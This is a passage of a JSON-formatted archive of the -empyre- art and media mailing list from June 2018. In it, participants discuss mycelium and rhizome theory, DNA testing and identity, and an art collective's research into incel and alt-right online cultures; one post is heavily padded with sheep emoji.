\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\nBYEBYE/LIZ\n\n\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180619/9710a0b1/attachment-0001.html>\n",
                                        "date": "Wed Jun 20 04:04:58 AEST 2018",
                                        "message-id": "10331",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010331.html",
                                        "content-type": "n/a",
                                        "author_name": "lizvlx",
                                        "subject": "[-empyre-] rehearsal of a network - [week 3]"
                                    },
                                    {
                                        "from": "vanouse at buffalo.edu",
                                        "id": "10332",
                                        "content": "Good afternoon everyone,\n\nI also thought this was an unexpected direction in this thread.  Of course, the threadlike underground mycelium of many mushrooms is/are known to grow in ways that seem non-formulaic, unstructured and spontaneous. And this is the very property that gives rise to Delueze and Guattari\u2019s rich modeling of the rhizomatic underground network of flows, deterritorializations, lines of flight\u2026 indeed probably the very rich materialist models and metaphors that led many of us to the interest in mycelium (it/them)sel(f/vs) in the first place.  So in this sense, I suppose a flow into any unexpected direction shouldn\u2019t take us too much by surprise;-)\n\nMy practice has generally undermined any strongly genetically determinist basis of identity, such as the notion that we are defined by our DNA, or represented by our DNA, or easily individuated by DNA technologies. Furthermore, I\u2019ve criticized the slippage between genes, race and geographical place\u2014in particular the idea of any fixity to these relations.\n\nHowever, I engage this critique of identity of course from a fascination with identity. My mother is a Jamaican of African descent, from a country village near Brownstown, and much of her lineage isn\u2019t documented.  My father is white and was adopted with two non-genetically related siblings into a French-Canadian/American family in Minnesota.  Probably no mystery why I\u2019ve been critical of simplistic categories of race and identity.\n\nWhat I find particularly interesting about this thread in a mycelium discussion tending toward DNA and genetics is that genetics are always portrayed with an arboreal model, i.e. \u201cthe family tree\u201d, \u201cthe family tree of man\u201d, etc.  Deleuze and Guattari found the teleology and patterning of branching, as well as the forever hierarchic relationship between branch and trunk as something to be resisted.  The branching model fits an ontology of hierarchy, whereas the rhizome model fits a philosophy of becoming.\n\nWhere might the thread go from here?\n\nCheers,\n\nPaul\nOn Jun 19, 2018, at 2:04 PM, lizvlx <liz at ubermorgen.com<mailto:liz at ubermorgen.com>> wrote:\n\n----------empyre- soft-skinned space----------------------\n\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 hello again\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 four things\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 I read this text and it is to be read: https://eand.co/why-were-one-step-away-from-the-abyss-4ef01d70937b \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 DNA - I am not adopted, the only great grandparent that is unknown in my family is the Roman Catholic priest that was my grandfather\u2019s father :D .. But I have no known greek ancestry, neither northern African. I suspect that there might be a cluster of Sicilian DNA in upper Austria - but that is a work in progress theory, I still have a great aunt that is alive and I need to make her get tested to find out more. But thats more on a personal note.\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 DNA - the Datenschutzaspekt (I rather use German when it comes to data protection as there is no powerful terminology in English) - the problem when signing up for a DNA analysis is a) trusting the company that they won\u2019t fuck around with your data (and if you live in the USA you will be a fool to trust em) and b) you are making a decision not about your own DNA but for the whole of your close family. This is an impossible decision - me mistress of the impossible of course had no problem tackling this hurdle. Seriously, I would have never taken the test if I were living in the USA, too dangerous. I decided to do it as I do believe that future will be one where everybody\u2019s DNA will be screened known bartered with etc. There is no way to stop this (the only good thing to get out of these tests is have a non-mutt person is the exemption of the rule and all this race bullshit just does not compute). \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11Heartless psychopaths. What a lovely topic. For this topic, UBERMORGEN has been researching for the last year. We are calling it Binary Primitivism. We focused on analysing: pornography (also over time, trends, normalisation of criminal sexual abuse, hypnoporn) incels (thats the notorious Involuntary Celibates; we had done a piece on Elliot Rodger aka Santa Barbara Killer a little time ago and he is not the GOD of the movement, a movement that is terrorising online and RL communities) Alt.right (mostly their social media tactics of - again - immersiveness Online Gaming Environments (well u gotta play with em boys). Got some links hereto: https://player.vimeo.com/video/137939689 - video \u201cNice Vanilla Latte\u201d, feat. Elliot Rodger, UBERMORGEN 2015 https://twitter.com/ElliotRodgerGod - his twitter account that is still live and now used by a friend of his DO NOT REPORT THIS ACCOUNT COZ THIS A GREAT RESSOURCE http://vaporwave.breitbart.pro/ this is unreleased work in progress - one example of imagery etc we produce and then insert into the networks of the heartless psychopaths.\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 